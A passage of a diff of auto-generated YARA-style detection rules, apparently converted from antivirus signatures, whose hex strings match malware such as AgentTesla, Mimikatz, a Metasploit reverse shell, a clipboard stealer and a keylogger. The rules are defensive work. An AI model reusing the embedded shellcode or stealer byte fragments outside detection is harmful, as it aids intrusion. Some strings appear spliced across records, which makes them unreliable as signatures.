1)*21539) >=1 } -rule _InfrastructureShared_27000{ +rule _InfrastructureShared_28724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352812,7 +375333,7 @@ rule _InfrastructureShared_27000{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27001{ +rule _InfrastructureShared_28725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352822,7 +375343,7 @@ rule _InfrastructureShared_27001{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_27002{ +rule _InfrastructureShared_28726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352832,7 +375353,7 @@ rule _InfrastructureShared_27002{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_27003{ +rule _InfrastructureShared_28727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352842,7 +375363,7 @@ rule _InfrastructureShared_27003{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27004{ +rule _InfrastructureShared_28728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352852,7 +375373,7 @@ rule _InfrastructureShared_27004{ ((#a_01_0 & 1)*16675) >=3 } -rule _InfrastructureShared_27005{ +rule _InfrastructureShared_28729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -352863,7 +375384,7 @@ rule _InfrastructureShared_27005{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*8448) >=3 } -rule _InfrastructureShared_27006{ +rule _InfrastructureShared_28730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -352875,7 +375396,7 @@ rule _InfrastructureShared_27006{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*8993+(#a_01_3 & 1)*28265) >=4 } -rule _InfrastructureShared_27007{ +rule _InfrastructureShared_28731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 03 00 21 " @@ -352886,7 +375407,7 @@ rule _InfrastructureShared_27007{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*8993) >=12 } -rule _InfrastructureShared_27008{ +rule _InfrastructureShared_28732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352896,7 +375417,7 @@ rule _InfrastructureShared_27008{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27009{ +rule _InfrastructureShared_28733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352906,7 +375427,7 @@ rule _InfrastructureShared_27009{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27010{ +rule _InfrastructureShared_28734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352916,7 +375437,7 @@ rule _InfrastructureShared_27010{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27011{ +rule _InfrastructureShared_28735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -352927,7 +375448,7 @@ rule _InfrastructureShared_27011{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*28527) >=1 } -rule _InfrastructureShared_27012{ +rule _InfrastructureShared_28736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -352937,33 +375458,19 @@ rule _InfrastructureShared_27012{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27013{ +rule _InfrastructureShared_28737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 04 00 21 " strings : - $a_01_0 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 31 43 21 4d 54 42 00 0a 00 08 16 0a 20 00 6c 00 00 8d 01 00 08 47 65 74 50 69 78 65 6c 01 00 06 42 69 74 6d 61 70 01 00 07 54 6f 57 69 6e 33 32 00 00 61 57 00 00 28 00 } //18467 - $a_01_1 = {00 21 23 53 } //40 ℀匣 - $a_01_2 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4d 69 6d 69 6b 61 74 7a 2e 48 00 0a 00 0a b9 14 00 00 00 f3 aa 48 8d 3d 0a 00 08 48 8b ca f3 aa 48 8d 3d 0a 00 07 8b ca f3 aa 48 } //17996 - $a_01_3 = {00 0a 8d 50 14 8b ca 44 8d 48 } //15757 + $a_01_0 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 31 43 21 4d 54 42 00 0a 00 08 16 0a 20 00 6c 00 00 8d 01 00 08 47 65 74 50 69 78 65 6c 01 00 06 42 69 74 6d 61 70 01 00 07 54 6f 57 69 6e 33 32 00 00 61 58 00 00 01 00 } //18467 + $a_01_2 = {4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 41 75 74 6f 72 75 6e 2e 47 4b 4d 21 4d 54 42 00 01 00 27 8a 04 1e b1 e7 2c 0c 34 bd 04 72 c0 c8 03 32 c3 2a c3 34 96 2a c8 b0 81 2a cb c0 } //8993 + $a_01_3 = {c1 88 04 1e 43 3b 5d fc 72 00 00 61 58 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6c } //969 condition: - ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*40+(#a_01_2 & 1)*17996+(#a_01_3 & 1)*15757) >=13 + ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*8993+(#a_01_3 & 1)*969) >=13 } -rule _InfrastructureShared_27014{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 04 00 21 " - - strings : - $a_01_0 = {46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4d 69 6d 69 6b 61 74 7a 2e 48 00 0a 00 0a b9 14 00 00 00 f3 aa 48 8d 3d 0a 00 08 48 8b ca f3 aa 48 8d 3d 0a 00 07 8b ca f3 aa 48 8d 3d 0a 00 0a 8d 50 14 8b ca 44 8d 48 01 44 00 } //21283 - $a_01_1 = {00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 41 75 74 6f 72 75 6e 2e 47 4b 4d 21 4d 54 42 00 01 00 27 8a 04 1e b1 e7 2c 0c 34 bd 04 72 c0 c8 03 32 c3 2a c3 34 96 2a c8 b0 81 2a cb c0 c9 03 2a c1 88 04 1e 43 3b 5d fc 72 } //24832 - $a_01_2 = {58 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6c 6f 73 69 61 2e 41 21 64 68 61 00 01 00 2d 72 64 70 6d 61 6e 2e 64 6c 6c 00 44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 00 44 6c 6c 47 65 74 43 6c 61 73 73 4f 62 6a 65 63 74 00 00 00 61 58 00 00 02 00 } //0 - $a_01_3 = {00 21 } //2 ℀ - condition: - ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*24832+(#a_01_2 & 1)*0+(#a_01_3 & 1)*2) >=40 - -} -rule _InfrastructureShared_27015{ +rule _InfrastructureShared_28738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352973,7 +375480,7 @@ rule _InfrastructureShared_27015{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27016{ +rule _InfrastructureShared_28739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -352983,7 +375490,18 @@ rule _InfrastructureShared_27016{ ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_27017{ +rule _InfrastructureShared_28740{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 4d 58 21 4d 54 42 00 01 00 15 b9 00 00 00 00 48 8b 05 be 81 13 00 ff d0 85 c0 0f 95 c0 84 c0 01 00 10 47 65 74 43 6c 69 70 62 6f 61 72 64 44 61 74 61 } //16675 + $a_01_1 = {58 00 00 02 00 02 00 02 00 21 23 42 4d 5f 4d 54 31 30 34 37 3a 77 6d 69 70 72 6f 63 65 78 65 63 00 01 00 19 73 65 74 70 72 6f 70 76 61 6c 75 65 2e 63 6f 6d 6d 61 6e 64 6c 69 6e 65 28 01 00 19 77 69 6e 33 32 5f 70 72 6f 63 65 73 73 2e 67 65 74 6f 62 6a 65 63 74 28 29 00 00 61 58 00 00 02 00 } //0 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*0) >=2 + +} +rule _InfrastructureShared_28741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -352994,7 +375512,7 @@ rule _InfrastructureShared_27017{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*24832) >=2 } -rule _InfrastructureShared_27018{ +rule _InfrastructureShared_28742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353004,19 +375522,19 @@ rule _InfrastructureShared_27018{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27019{ +rule _InfrastructureShared_28743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " strings : $a_01_0 = {4c 3a 3a 4d 61 63 4f 53 2f 4d 65 74 61 73 70 6c 6f 69 74 52 65 76 65 72 73 65 53 68 65 6c 6c 2e 42 00 01 00 0e 53 ff 25 01 21 00 00 90 48 31 c9 48 81 e9 01 00 09 ff ff ff 48 8d 05 ef ff ff 01 00 0a 48 31 58 } //21539 $a_01_1 = {f8 ff ff ff 00 00 61 58 00 00 05 00 05 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 } //18471 - $a_01_2 = {4b 47 33 30 33 21 4d 54 42 00 05 00 23 11 06 11 1f 11 05 11 1f 9a 1f 10 28 8f 00 00 0a 86 6f 90 00 00 0a 00 11 1f 17 d6 13 1f 11 1f 11 1e 31 dd 00 00 61 59 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d } //21294 + $a_01_2 = {4b 47 33 30 33 21 4d 54 42 00 05 00 23 11 06 11 1f 11 05 11 1f 9a 1f 10 28 8f 00 00 0a 86 6f 90 00 00 0a 00 11 1f 17 d6 13 1f 11 1f 11 1e 31 dd 00 00 61 59 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a } //21294 condition: ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*18471+(#a_01_2 & 1)*21294) >=3 } -rule _InfrastructureShared_27020{ +rule _InfrastructureShared_28744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 01 00 21 " @@ -353026,7 +375544,17 @@ rule _InfrastructureShared_27020{ ((#a_01_0 & 1)*18467) >=5 } -rule _InfrastructureShared_27021{ +rule _InfrastructureShared_28745{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 44 65 66 65 6e 64 4e 6f 74 2e 41 21 64 68 61 00 01 00 2a 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 2d 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 72 00 2d 00 69 00 70 00 63 } //16675 + condition: + ((#a_01_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_28746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353036,7 +375564,7 @@ rule _InfrastructureShared_27021{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27022{ +rule _InfrastructureShared_28747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -353047,7 +375575,7 @@ rule _InfrastructureShared_27022{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*51) >=1 } -rule _InfrastructureShared_27023{ +rule _InfrastructureShared_28748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353057,7 +375585,7 @@ rule _InfrastructureShared_27023{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_27024{ +rule _InfrastructureShared_28749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353068,7 +375596,7 @@ rule _InfrastructureShared_27024{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*11883) >=2 } -rule _InfrastructureShared_27025{ +rule _InfrastructureShared_28750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353078,18 +375606,29 @@ rule _InfrastructureShared_27025{ ((#a_01_0 & 1)*21283) >=2 } -rule _InfrastructureShared_27026{ +rule _InfrastructureShared_28751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " strings : - $a_01_0 = {54 52 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 57 69 6e 33 32 2f 46 72 65 65 6b 65 79 00 01 00 0b 46 4b 52 4d 6f 6e 69 74 6f 72 00 01 00 0e 4b 65 79 73 74 72 6f 6b 65 73 20 4c 6f 67 01 00 0b 64 65 6c 73 65 6c 66 2e 62 61 74 00 00 61 5a 00 00 } //18467 - $a_01_2 = {23 42 4d 5f 4d 53 48 54 41 5f 45 58 45 00 01 00 40 4d 00 53 00 48 00 54 00 41 00 2e 00 45 00 58 00 } //1 + $a_01_0 = {54 52 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 57 69 6e 33 32 2f 46 72 65 65 6b 65 79 00 01 00 0b 46 4b 52 4d 6f 6e 69 74 6f 72 00 01 00 0e 4b 65 79 73 74 72 6f 6b 65 73 20 4c 6f 67 01 00 0b 64 65 6c 73 65 6c 66 2e 62 61 74 00 00 61 59 00 00 } //18467 + $a_01_1 = {00 04 00 } //3 + $a_01_2 = {4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 36 34 2f 4f 66 66 65 72 73 77 69 7a 61 72 64 2e 4d 4a 32 00 01 00 05 54 72 61 63 79 01 00 09 61 70 69 2e 33 64 6f 64 6f 01 00 0a 48 6f 6f 70 6f 65 2e 64 6c } //8993 condition: - ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*1) >=3 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*3+(#a_01_2 & 1)*8993) >=3 } -rule _InfrastructureShared_27027{ +rule _InfrastructureShared_28752{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " + + strings : + $a_01_0 = {46 3a 41 64 77 61 72 65 3a 57 69 6e 36 34 2f 4f 66 66 65 72 73 77 69 7a 61 72 64 2e 4d 4a 32 00 01 00 05 54 72 61 63 79 01 00 09 61 70 69 2e 33 64 6f 64 6f 01 00 0a 48 6f 6f 70 6f 65 2e 64 6c 6c 01 00 09 57 65 62 70 41 67 65 6e } //16675 + condition: + ((#a_01_0 & 1)*16675) >=3 + +} +rule _InfrastructureShared_28753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353099,7 +375638,7 @@ rule _InfrastructureShared_27027{ ((#a_01_0 & 1)*16931) >=1 } -rule _InfrastructureShared_27028{ +rule _InfrastructureShared_28754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353109,7 +375648,7 @@ rule _InfrastructureShared_27028{ ((#a_01_0 & 1)*20515) >=2 } -rule _InfrastructureShared_27029{ +rule _InfrastructureShared_28755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353119,7 +375658,7 @@ rule _InfrastructureShared_27029{ ((#a_01_0 & 1)*21539) >=2 } -rule _InfrastructureShared_27030{ +rule _InfrastructureShared_28756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -353130,7 +375669,7 @@ rule _InfrastructureShared_27030{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*3) >=2 } -rule _InfrastructureShared_27031{ +rule _InfrastructureShared_28757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353142,7 +375681,7 @@ rule _InfrastructureShared_27031{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29555+(#a_01_2 & 1)*30821) >=3 } -rule _InfrastructureShared_27032{ +rule _InfrastructureShared_28758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353152,7 +375691,7 @@ rule _InfrastructureShared_27032{ ((#a_01_0 & 1)*16931) >=3 } -rule _InfrastructureShared_27033{ +rule _InfrastructureShared_28759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353163,7 +375702,7 @@ rule _InfrastructureShared_27033{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*3) >=3 } -rule _InfrastructureShared_27034{ +rule _InfrastructureShared_28760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353174,7 +375713,7 @@ rule _InfrastructureShared_27034{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*3) >=3 } -rule _InfrastructureShared_27035{ +rule _InfrastructureShared_28761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353186,7 +375725,7 @@ rule _InfrastructureShared_27035{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29797+(#a_01_2 & 1)*25976) >=3 } -rule _InfrastructureShared_27036{ +rule _InfrastructureShared_28762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 04 00 21 " @@ -353198,7 +375737,7 @@ rule _InfrastructureShared_27036{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*20+(#a_01_3 & 1)*16675) >=13 } -rule _InfrastructureShared_27037{ +rule _InfrastructureShared_28763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -353209,7 +375748,7 @@ rule _InfrastructureShared_27037{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*17967) >=20 } -rule _InfrastructureShared_27038{ +rule _InfrastructureShared_28764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353219,7 +375758,7 @@ rule _InfrastructureShared_27038{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27039{ +rule _InfrastructureShared_28765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353229,7 +375768,7 @@ rule _InfrastructureShared_27039{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27040{ +rule _InfrastructureShared_28766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353239,7 +375778,7 @@ rule _InfrastructureShared_27040{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27041{ +rule _InfrastructureShared_28767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353249,7 +375788,7 @@ rule _InfrastructureShared_27041{ ((#a_01_0 & 1)*20515) >=1 } -rule _InfrastructureShared_27042{ +rule _InfrastructureShared_28768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353260,7 +375799,7 @@ rule _InfrastructureShared_27042{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*104) >=2 } -rule _InfrastructureShared_27043{ +rule _InfrastructureShared_28769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -353272,7 +375811,7 @@ rule _InfrastructureShared_27043{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*0+(#a_01_2 & 1)*3) >=2 } -rule _InfrastructureShared_27044{ +rule _InfrastructureShared_28770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353283,7 +375822,7 @@ rule _InfrastructureShared_27044{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*24832) >=3 } -rule _InfrastructureShared_27045{ +rule _InfrastructureShared_28771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353295,7 +375834,7 @@ rule _InfrastructureShared_27045{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*3+(#a_01_2 & 1)*8993) >=3 } -rule _InfrastructureShared_27046{ +rule _InfrastructureShared_28772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353307,7 +375846,7 @@ rule _InfrastructureShared_27046{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*11876+(#a_01_2 & 1)*19247) >=3 } -rule _InfrastructureShared_27047{ +rule _InfrastructureShared_28773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353319,7 +375858,7 @@ rule _InfrastructureShared_27047{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*26980+(#a_01_2 & 1)*16675) >=3 } -rule _InfrastructureShared_27048{ +rule _InfrastructureShared_28774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -353329,7 +375868,7 @@ rule _InfrastructureShared_27048{ ((#a_01_0 & 1)*16675) >=10 } -rule _InfrastructureShared_27049{ +rule _InfrastructureShared_28775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353339,7 +375878,7 @@ rule _InfrastructureShared_27049{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27050{ +rule _InfrastructureShared_28776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353349,7 +375888,7 @@ rule _InfrastructureShared_27050{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27051{ +rule _InfrastructureShared_28777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353359,7 +375898,7 @@ rule _InfrastructureShared_27051{ ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_27052{ +rule _InfrastructureShared_28778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353369,7 +375908,7 @@ rule _InfrastructureShared_27052{ ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_27053{ +rule _InfrastructureShared_28779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353379,7 +375918,7 @@ rule _InfrastructureShared_27053{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_27054{ +rule _InfrastructureShared_28780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353390,7 +375929,7 @@ rule _InfrastructureShared_27054{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*-8644) >=2 } -rule _InfrastructureShared_27055{ +rule _InfrastructureShared_28781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353400,7 +375939,7 @@ rule _InfrastructureShared_27055{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27056{ +rule _InfrastructureShared_28782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353410,7 +375949,7 @@ rule _InfrastructureShared_27056{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27057{ +rule _InfrastructureShared_28783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353420,7 +375959,7 @@ rule _InfrastructureShared_27057{ ((#a_01_0 & 1)*20515) >=2 } -rule _InfrastructureShared_27058{ +rule _InfrastructureShared_28784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353431,7 +375970,7 @@ rule _InfrastructureShared_27058{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*27753) >=2 } -rule _InfrastructureShared_27059{ +rule _InfrastructureShared_28785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353442,7 +375981,7 @@ rule _InfrastructureShared_27059{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*24936) >=2 } -rule _InfrastructureShared_27060{ +rule _InfrastructureShared_28786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353453,7 +375992,7 @@ rule _InfrastructureShared_27060{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*29251) >=2 } -rule _InfrastructureShared_27061{ +rule _InfrastructureShared_28787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353465,7 +376004,7 @@ rule _InfrastructureShared_27061{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26994+(#a_01_2 & 1)*18467) >=3 } -rule _InfrastructureShared_27062{ +rule _InfrastructureShared_28788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -353478,7 +376017,7 @@ rule _InfrastructureShared_27062{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28530+(#a_01_2 & 1)*28015+(#a_01_3 & 1)*27748) >=4 } -rule _InfrastructureShared_27063{ +rule _InfrastructureShared_28789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 04 00 21 " @@ -353490,7 +376029,7 @@ rule _InfrastructureShared_27063{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*10+(#a_01_3 & 1)*28789) >=8 } -rule _InfrastructureShared_27064{ +rule _InfrastructureShared_28790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 02 00 21 " @@ -353500,7 +376039,7 @@ rule _InfrastructureShared_27064{ ((#a_01_0 & 1)*21539) >=10 } -rule _InfrastructureShared_27065{ +rule _InfrastructureShared_28791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 04 00 21 " @@ -353511,7 +376050,7 @@ rule _InfrastructureShared_27065{ ((#a_01_0 & 1)*18467+(#a_01_3 & 1)*1) >=10 } -rule _InfrastructureShared_27066{ +rule _InfrastructureShared_28792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353521,7 +376060,7 @@ rule _InfrastructureShared_27066{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27067{ +rule _InfrastructureShared_28793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353531,7 +376070,7 @@ rule _InfrastructureShared_27067{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27068{ +rule _InfrastructureShared_28794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353541,7 +376080,7 @@ rule _InfrastructureShared_27068{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27069{ +rule _InfrastructureShared_28795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353551,7 +376090,7 @@ rule _InfrastructureShared_27069{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27070{ +rule _InfrastructureShared_28796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -353562,29 +376101,29 @@ rule _InfrastructureShared_27070{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*0) >=1 } -rule _InfrastructureShared_27071{ +rule _InfrastructureShared_28797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " strings : - $a_01_0 = {77 66 69 3a 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 